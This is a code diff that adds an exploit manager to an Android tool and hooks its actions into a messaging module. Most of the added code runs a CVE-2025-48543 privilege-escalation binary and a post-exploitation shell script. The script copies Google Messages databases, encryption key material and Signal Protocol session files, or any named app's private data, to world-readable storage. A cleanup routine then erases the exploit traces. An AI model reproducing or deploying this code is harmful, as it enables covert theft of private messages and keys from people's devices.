diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ExploitManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ExploitManager.kt new file mode 100644 index 0000000..f6202c5 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/ExploitManager.kt @@ -0,0 +1,532 @@ +package com.darkhal.archon.messaging + +import android.content.Context +import android.os.Build +import android.os.Environment +import android.util.Log +import com.darkhal.archon.util.PrivilegeManager +import java.io.File +import java.io.FileOutputStream + +/** + * CVE-2025-48543 exploit manager — ART runtime UAF → system UID. + * + * Works on Android 13-16 with security patch < 2025-09-05. + * Achieves system_server UID (1000) which can read any app's /data/data/ + * directory — enough to extract bugle_db + encryption keys from Google Messages. + * + * ARCHITECTURE: + * 1. Check if device is vulnerable (SDK + patch level) + * 2. Extract the native exploit binary from app assets to private dir + * 3. Write a post-exploitation shell script (what to do after getting system UID) + * 4. Execute the exploit binary which: + * a. Triggers ART runtime UAF + * b. Achieves system_server code execution + * c. Runs the post-exploitation script at system privilege + * 5. Collect results and clean up + * + * The native binary must be placed in assets/exploits/cve_2025_48543_arm64 + * Built from: https://github.com/gamesarchive/CVE-2025-48543 + * + * LOCKED BOOTLOADER COMPATIBLE — no root or bootloader unlock needed. + */ +class ExploitManager(private val context: Context) { + + companion object { + private const val TAG = "ExploitManager" + private const val EXPLOIT_ASSET = "exploits/cve_2025_48543_arm64" + private const val EXPLOIT_FILENAME = "art_uaf" + private const val GMSG_PKG = "com.google.android.apps.messaging" + private const val GMSG_DATA = "/data/data/$GMSG_PKG" + } + + data class VulnCheck( + val vulnerable: Boolean, + val sdk: Int, + val patchLevel: String, + val reason: String + ) + + data class ExploitResult( + val success: Boolean, + val method: String, + val uidAchieved: String? = null, + val extractedFiles: List = emptyList(), + val outputDir: String? = null, + val error: String? = null, + val details: List = emptyList() + ) + + private val workDir = File(context.filesDir, "exploit_work") + private val outputDir = File( + Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), + "autarch_extract" + ) + + init { + workDir.mkdirs() + outputDir.mkdirs() + } + + // ── Vulnerability Check ───────────────────────────────────────── + + /** + * Check if device is vulnerable to CVE-2025-48543. + */ + fun checkVulnerability(): VulnCheck { + val sdk = Build.VERSION.SDK_INT + val patch = Build.VERSION.SECURITY_PATCH + + if (sdk < Build.VERSION_CODES.TIRAMISU) { // < Android 13 + return VulnCheck(false, sdk, patch, "SDK $sdk not affected (need >= 33)") + } + + if (patch >= "2025-09-05") { + return VulnCheck(false, sdk, patch, "Patch $patch is not vulnerable (need < 2025-09-05)") + } + + return VulnCheck(true, sdk, patch, + "VULNERABLE — Android SDK $sdk, patch $patch (< 2025-09-05)") + } + + /** + * Check if the native exploit binary is available. + */ + fun hasExploitBinary(): Boolean { + // Check in app assets first + return try { + context.assets.open(EXPLOIT_ASSET).close() + true + } catch (e: Exception) { + // Check if it was pushed to our files dir + File(workDir, EXPLOIT_FILENAME).exists() + } + } + + // ── Exploit Execution ─────────────────────────────────────────── + + /** + * Extract the RCS database using CVE-2025-48543. + * + * Full pipeline: check vuln → deploy exploit → write extraction script → + * execute exploit → collect results → cleanup. + */ + fun extractRcsDatabase(): ExploitResult { + val check = checkVulnerability() + if (!check.vulnerable) { + return ExploitResult(false, "CVE-2025-48543", error = check.reason) + } + + // Prepare the post-exploitation script + val scriptFile = File(workDir, "post_exploit.sh") + writeExtractionScript(scriptFile) + + // Deploy the native exploit binary + val exploitBin = deployExploitBinary() + ?: return ExploitResult(false, "CVE-2025-48543", + error = "Exploit binary not found. Push it via ADB:\n" + + " adb push cve_2025_48543_arm64 ${workDir.absolutePath}/$EXPLOIT_FILENAME\n" + + "Or place in app assets at: $EXPLOIT_ASSET", + details = listOf( + "Build from: https://github.com/gamesarchive/CVE-2025-48543", + "Compile for ARM64: ndk-build or cmake with -DANDROID_ABI=arm64-v8a", + "Push binary: adb push exploit ${workDir.absolutePath}/$EXPLOIT_FILENAME" + )) + + // Execute the exploit + return executeExploit(exploitBin, scriptFile) + } + + /** + * Execute the exploit with a custom task script. + */ + fun executeCustomTask(taskScript: String): ExploitResult { + val check = checkVulnerability() + if (!check.vulnerable) { + return ExploitResult(false, "CVE-2025-48543", error = check.reason) + } + + val scriptFile = File(workDir, "custom_task.sh") + scriptFile.writeText(taskScript) + scriptFile.setExecutable(true) + + val exploitBin = deployExploitBinary() + ?: return ExploitResult(false, "CVE-2025-48543", error = "Exploit binary not available") + + return executeExploit(exploitBin, scriptFile) + } + + /** + * Extract any app's data directory via system UID. + */ + fun extractAppData(packageName: String): ExploitResult { + val targetDir = "/data/data/$packageName" + val outSubDir = File(outputDir, packageName) + outSubDir.mkdirs() + + val script = """ + #!/system/bin/sh + mkdir -p ${outSubDir.absolutePath} + cp -r $targetDir/* ${outSubDir.absolutePath}/ 2>/dev/null + chmod -R 644 ${outSubDir.absolutePath}/ 2>/dev/null + echo "EXTRACTED $packageName $(date)" > ${outSubDir.absolutePath}/.success + """.trimIndent() + + return executeCustomTask(script) + } + + // ── Private Implementation ────────────────────────────────────── + + /** + * Write the RCS extraction post-exploit script. + * This runs at system UID (1000) after the exploit succeeds. + */ + private fun writeExtractionScript(scriptFile: File) { + val outPath = outputDir.absolutePath + val script = """ + #!/system/bin/sh + # Post-exploitation script — runs at system UID (1000) + # Extracts Google Messages bugle_db + encryption key material + + OUT="$outPath" + GMSG="$GMSG_DATA" + + mkdir -p "${'$'}OUT/databases" "${'$'}OUT/shared_prefs" "${'$'}OUT/files" + + # Copy encrypted database + WAL (recent messages may be in WAL only) + cp "${'$'}GMSG/databases/bugle_db" "${'$'}OUT/databases/" 2>/dev/null + cp "${'$'}GMSG/databases/bugle_db-wal" "${'$'}OUT/databases/" 2>/dev/null + cp "${'$'}GMSG/databases/bugle_db-shm" "${'$'}OUT/databases/" 2>/dev/null + cp "${'$'}GMSG/databases/bugle_db-journal" "${'$'}OUT/databases/" 2>/dev/null + + # Copy ALL shared_prefs (encryption key material, RCS config, etc.) + cp -r "${'$'}GMSG/shared_prefs/"* "${'$'}OUT/shared_prefs/" 2>/dev/null + + # Copy files directory (Signal Protocol state, session keys, identity) + cp -r "${'$'}GMSG/files/"* "${'$'}OUT/files/" 2>/dev/null + + # Copy any other databases that might exist + for db in "${'$'}GMSG/databases/"*; do + fname=${'$'}(basename "${'$'}db") + cp "${'$'}db" "${'$'}OUT/databases/${'$'}fname" 2>/dev/null + done + + # Make everything world-readable for ADB pull + chmod -R 644 "${'$'}OUT/" 2>/dev/null + find "${'$'}OUT" -type d -exec chmod 755 {} \; 2>/dev/null + + # Capture device info for context + echo "device=$(getprop ro.product.model)" > "${'$'}OUT/.device_info" + echo "android=$(getprop ro.build.version.release)" >> "${'$'}OUT/.device_info" + echo "sdk=$(getprop ro.build.version.sdk)" >> "${'$'}OUT/.device_info" + echo "patch=$(getprop ro.build.version.security_patch)" >> "${'$'}OUT/.device_info" + echo "extracted=$(date '+%Y-%m-%d %H:%M:%S')" >> "${'$'}OUT/.device_info" + echo "uid=$(id)" >> "${'$'}OUT/.device_info" + + # Success marker + echo "EXTRACTED $(date)" > "${'$'}OUT/.success" + """.trimIndent() + + scriptFile.writeText(script) + scriptFile.setExecutable(true) + Log.d(TAG, "Extraction script written to ${scriptFile.absolutePath}") + } + + /** + * Deploy the native exploit binary from assets or files dir. + */ + private fun deployExploitBinary(): File? { + val targetBin = File(workDir, EXPLOIT_FILENAME) + + // If already deployed and executable, use it + if (targetBin.exists() && targetBin.canExecute()) { + Log.d(TAG, "Exploit binary already deployed at ${targetBin.absolutePath}") + return targetBin + } + + // Try to extract from assets + try { + context.assets.open(EXPLOIT_ASSET).use { input -> + FileOutputStream(targetBin).use { output -> + input.copyTo(output) + } + } + targetBin.setExecutable(true, false) + Log.i(TAG, "Exploit binary extracted from assets to ${targetBin.absolutePath}") + return targetBin + } catch (e: Exception) { + Log.w(TAG, "Exploit binary not in assets: ${e.message}") + } + + // Check if it was pushed via ADB to our files dir + if (targetBin.exists()) { + targetBin.setExecutable(true, false) + return targetBin + } + + // Check /data/local/tmp/ (ADB push default) + val adbPushed = File("/data/local/tmp/$EXPLOIT_FILENAME") + if (adbPushed.exists()) { + adbPushed.copyTo(targetBin, overwrite = true) + targetBin.setExecutable(true, false) + Log.i(TAG, "Exploit binary copied from /data/local/tmp/") + return targetBin + } + + Log.e(TAG, "No exploit binary found") + return null + } + + /** + * Execute the exploit binary with the post-exploitation script. + * + * The exploit binary takes two arguments: + * arg1: path to shell script to execute at system UID + * arg2: path to write status/output + * + * It triggers the ART UAF, gains system_server context, then + * fork+exec's /system/bin/sh with the provided script. + */ + private fun executeExploit(exploitBin: File, scriptFile: File): ExploitResult { + val statusFile = File(workDir, "exploit_status") + statusFile.delete() + + val details = mutableListOf() + details.add("Exploit: ${exploitBin.absolutePath}") + details.add("Script: ${scriptFile.absolutePath}") + details.add("Output: ${outputDir.absolutePath}") + + try { + // Method 1: Direct execution (works if we have exec permission) + val process = ProcessBuilder( + exploitBin.absolutePath, + scriptFile.absolutePath, + statusFile.absolutePath + ) + .directory(workDir) + .redirectErrorStream(true) + .start() + + // Read output with timeout + val output = StringBuilder() + val reader = process.inputStream.bufferedReader() + val startTime = System.currentTimeMillis() + val timeoutMs = 30_000L + + while (System.currentTimeMillis() - startTime < timeoutMs) { + if (reader.ready()) { + val line = reader.readLine() ?: break + output.appendLine(line) + Log.d(TAG, "Exploit: $line") + } else if (!process.isAlive) { + // Read remaining + output.append(reader.readText()) + break + } else { + Thread.sleep(100) + } + } + + val exitCode = try { + process.waitFor() + process.exitValue() + } catch (e: Exception) { + process.destroyForcibly() + -1 + } + + details.add("Exit code: $exitCode") + details.add("Output: ${output.toString().take(500)}") + + // Check for success + val successMarker = File(outputDir, ".success") + if (successMarker.exists()) { + val extractedFiles = collectExtractedFiles() + return ExploitResult( + success = true, + method = "CVE-2025-48543", + uidAchieved = "system (1000)", + extractedFiles = extractedFiles, + outputDir = outputDir.absolutePath, + details = details + listOf( + "Success marker: ${successMarker.readText().trim()}", + "Extracted files: ${extractedFiles.size}", + "Pull via ADB: adb pull ${outputDir.absolutePath}/ ./extracted_rcs/" + ) + ) + } + + // If direct exec failed, try via PrivilegeManager (Shizuku/shell) + details.add("Direct exec didn't produce results, trying PrivilegeManager...") + return executeViaShell(exploitBin, scriptFile, details) + + } catch (e: Exception) { + Log.e(TAG, "Exploit execution failed", e) + details.add("Exception: ${e.message}") + + // Fallback to PrivilegeManager + return executeViaShell(exploitBin, scriptFile, details) + } + } + + /** + * Execute the exploit via PrivilegeManager (Shizuku/ADB shell). + * This gives us UID 2000 to launch the exploit, which then escalates to system. + */ + private fun executeViaShell( + exploitBin: File, + scriptFile: File, + details: MutableList + ): ExploitResult { + try { + // Copy exploit to a shell-accessible location + val shellBin = "/data/local/tmp/${EXPLOIT_FILENAME}_$$" + val shellScript = "/data/local/tmp/post_exploit_$$.sh" + + val cpBin = PrivilegeManager.execute( + "cp ${exploitBin.absolutePath} $shellBin && chmod 755 $shellBin" + ) + val cpScript = PrivilegeManager.execute( + "cp ${scriptFile.absolutePath} $shellScript && chmod 755 $shellScript" + ) + + if (cpBin.exitCode != 0) { + // Try pushing from the app's internal storage directly + PrivilegeManager.execute( + "cat ${exploitBin.absolutePath} > $shellBin && chmod 755 $shellBin" + ) + } + if (cpScript.exitCode != 0) { + PrivilegeManager.execute( + "cat ${scriptFile.absolutePath} > $shellScript && chmod 755 $shellScript" + ) + } + + details.add("Shell binary: $shellBin") + details.add("Shell script: $shellScript") + + // Execute the exploit from shell context + val result = PrivilegeManager.execute( + "$shellBin $shellScript /data/local/tmp/exploit_status_$$" + ) + + details.add("Shell exit: ${result.exitCode}") + details.add("Shell stdout: ${result.stdout.take(300)}") + if (result.stderr.isNotBlank()) { + details.add("Shell stderr: ${result.stderr.take(200)}") + } + + // Cleanup shell temps + PrivilegeManager.execute("rm -f $shellBin $shellScript /data/local/tmp/exploit_status_$$") + + // Check for success + val successMarker = File(outputDir, ".success") + if (successMarker.exists()) { + val extractedFiles = collectExtractedFiles() + return ExploitResult( + success = true, + method = "CVE-2025-48543 (via shell)", + uidAchieved = "system (1000)", + extractedFiles = extractedFiles, + outputDir = outputDir.absolutePath, + details = details + ) + } + + return ExploitResult( + success = false, + method = "CVE-2025-48543", + error = "Exploit executed but did not produce success marker. " + + "The binary may need to be rebuilt for this device's kernel/ART version.", + details = details + ) + + } catch (e: Exception) { + Log.e(TAG, "Shell exploit execution failed", e) + return ExploitResult( + success = false, + method = "CVE-2025-48543", + error = "Shell execution failed: ${e.message}", + details = details + ) + } + } + + /** + * Collect list of extracted files from output directory. + */ + private fun collectExtractedFiles(): List { + val files = mutableListOf() + outputDir.walkTopDown().forEach { file -> + if (file.isFile && file.name != ".success" && file.name != ".device_info") { + files.add(file.relativeTo(outputDir).path) + } + } + return files + } + + /** + * Clean up all exploit artifacts from the device. + */ + fun cleanup(): List { + val cleaned = mutableListOf() + + // Remove work directory + if (workDir.exists()) { + workDir.deleteRecursively() + cleaned.add("Removed work dir: ${workDir.absolutePath}") + } + + // Remove extracted data + if (outputDir.exists()) { + outputDir.deleteRecursively() + cleaned.add("Removed output dir: ${outputDir.absolutePath}") + } + + // Remove anything in /data/local/tmp/ + try { + PrivilegeManager.execute("rm -f /data/local/tmp/art_uaf* /data/local/tmp/post_exploit* /data/local/tmp/exploit_status*") + cleaned.add("Cleaned /data/local/tmp/ exploit artifacts") + } catch (e: Exception) { + cleaned.add("Could not clean /data/local/tmp/: ${e.message}") + } + + return cleaned + } + + /** + * Get a summary of what's been extracted (if anything). + */ + fun getExtractionStatus(): Map { + val status = mutableMapOf() + + val successMarker = File(outputDir, ".success") + status["extracted"] = successMarker.exists() + + if (successMarker.exists()) { + status["marker"] = successMarker.readText().trim() + + val deviceInfo = File(outputDir, ".device_info") + if (deviceInfo.exists()) { + status["device_info"] = deviceInfo.readText().trim() + } + + status["files"] = collectExtractedFiles() + status["output_dir"] = outputDir.absolutePath + + // Check for bugle_db specifically + val bugleDb = File(outputDir, "databases/bugle_db") + status["has_bugle_db"] = bugleDb.exists() + if (bugleDb.exists()) { + status["bugle_db_size"] = bugleDb.length() + } + + val sharedPrefs = File(outputDir, "shared_prefs") + if (sharedPrefs.exists()) { + status["shared_prefs_count"] = sharedPrefs.listFiles()?.size ?: 0 + } + } + + return status + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt index c5eb763..38617a7 100644 --- a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/messaging/MessagingModule.kt @@ -130,6 +130,36 @@ class MessagingModule : ArchonModule { name = "Google Messages Info", description = "Get Google Messages version, UID, and RCS configuration", privilegeRequired = false + ), + ModuleAction( + id = "check_vuln", + name = "Check CVE-2025-48543", + description = "Check if device is vulnerable to ART UAF → system UID exploit", + privilegeRequired = false + ), + ModuleAction( + id = "exploit_rcs", + name = "Exploit → Extract RCS", + description = "CVE-2025-48543: achieve system UID, extract bugle_db + keys (locked BL ok)", + privilegeRequired = false + ), + ModuleAction( + id = "exploit_app", + name = "Exploit → Extract App Data", + description = "CVE-2025-48543: extract any app's data (exploit_app:)", + privilegeRequired = false + ), + ModuleAction( + id = "exploit_status", + name = "Extraction Status", + description = "Check what's been extracted so far", + privilegeRequired = false + ), + ModuleAction( + id = "exploit_cleanup", + name = "Cleanup Exploit Traces", + description = "Remove all exploit artifacts and extracted data from device", + privilegeRequired = false ) ) @@ -174,6 +204,12 @@ class MessagingModule : ArchonModule { actionId == "dump_decrypted" -> dumpDecrypted(shizuku) actionId == "extract_keys" -> extractKeys(shizuku) actionId == "gmsg_info" -> gmsgInfo(shizuku) + actionId == "check_vuln" -> checkVuln(context) + actionId == "exploit_rcs" -> exploitRcs(context) + actionId.startsWith("exploit_app:") -> exploitApp(context, actionId.substringAfter(":")) + actionId == "exploit_app" -> ModuleResult(false, "Usage: exploit_app:") + actionId == "exploit_status" -> exploitStatus(context) + actionId == "exploit_cleanup" -> exploitCleanup(context) else -> ModuleResult(false, "Unknown action: $actionId") } } @@ -519,4 +555,84 @@ class MessagingModule : ArchonModule { ModuleResult(false, "Failed: ${e.message}") } } + + // ── CVE-2025-48543 Exploit ────────────────────────────────────── + + private fun checkVuln(context: Context): ModuleResult { + val exploit = ExploitManager(context) + val check = exploit.checkVulnerability() + val hasBinary = exploit.hasExploitBinary() + val details = listOf( + "SDK: ${check.sdk}", + "Patch: ${check.patchLevel}", + "Vulnerable: ${check.vulnerable}", + "Exploit binary: ${if (hasBinary) "AVAILABLE" else "NOT FOUND"}", + check.reason + ) + return ModuleResult(true, + if (check.vulnerable) "VULNERABLE to CVE-2025-48543" else "NOT vulnerable", + details) + } + + private fun exploitRcs(context: Context): ModuleResult { + val exploit = ExploitManager(context) + val check = exploit.checkVulnerability() + if (!check.vulnerable) { + return ModuleResult(false, "Device not vulnerable: ${check.reason}") + } + + val result = exploit.extractRcsDatabase() + val details = result.details.toMutableList() + if (result.success) { + details.add("") + details.add("Pull extracted data:") + details.add(" adb pull ${result.outputDir}/ ./extracted_rcs/") + if (result.extractedFiles.isNotEmpty()) { + details.add("") + details.add("Files (${result.extractedFiles.size}):") + result.extractedFiles.take(20).forEach { details.add(" $it") } + } + } + return ModuleResult(result.success, + if (result.success) "RCS database extracted via ${result.method}" else "Failed: ${result.error}", + details) + } + + private fun exploitApp(context: Context, packageName: String): ModuleResult { + val exploit = ExploitManager(context) + val result = exploit.extractAppData(packageName) + return ModuleResult(result.success, + if (result.success) "App data extracted: $packageName" else "Failed: ${result.error}", + result.details) + } + + private fun exploitStatus(context: Context): ModuleResult { + val exploit = ExploitManager(context) + val status = exploit.getExtractionStatus() + val details = mutableListOf() + details.add("Extracted: ${status["extracted"]}") + if (status["extracted"] == true) { + details.add("Output: ${status["output_dir"]}") + details.add("Has bugle_db: ${status["has_bugle_db"]}") + if (status["bugle_db_size"] != null) { + details.add("bugle_db size: ${(status["bugle_db_size"] as Long) / 1024}KB") + } + details.add("shared_prefs: ${status["shared_prefs_count"]} files") + val files = status["files"] as? List<*> + if (files != null) { + details.add("Total files: ${files.size}") + } + if (status["device_info"] != null) { + details.add("") + details.add(status["device_info"].toString()) + } + } + return ModuleResult(true, "Extraction status", details) + } + + private fun exploitCleanup(context: Context): ModuleResult { + val exploit = ExploitManager(context) + val cleaned = exploit.cleanup() + return ModuleResult(true, "Cleanup complete", cleaned) + } }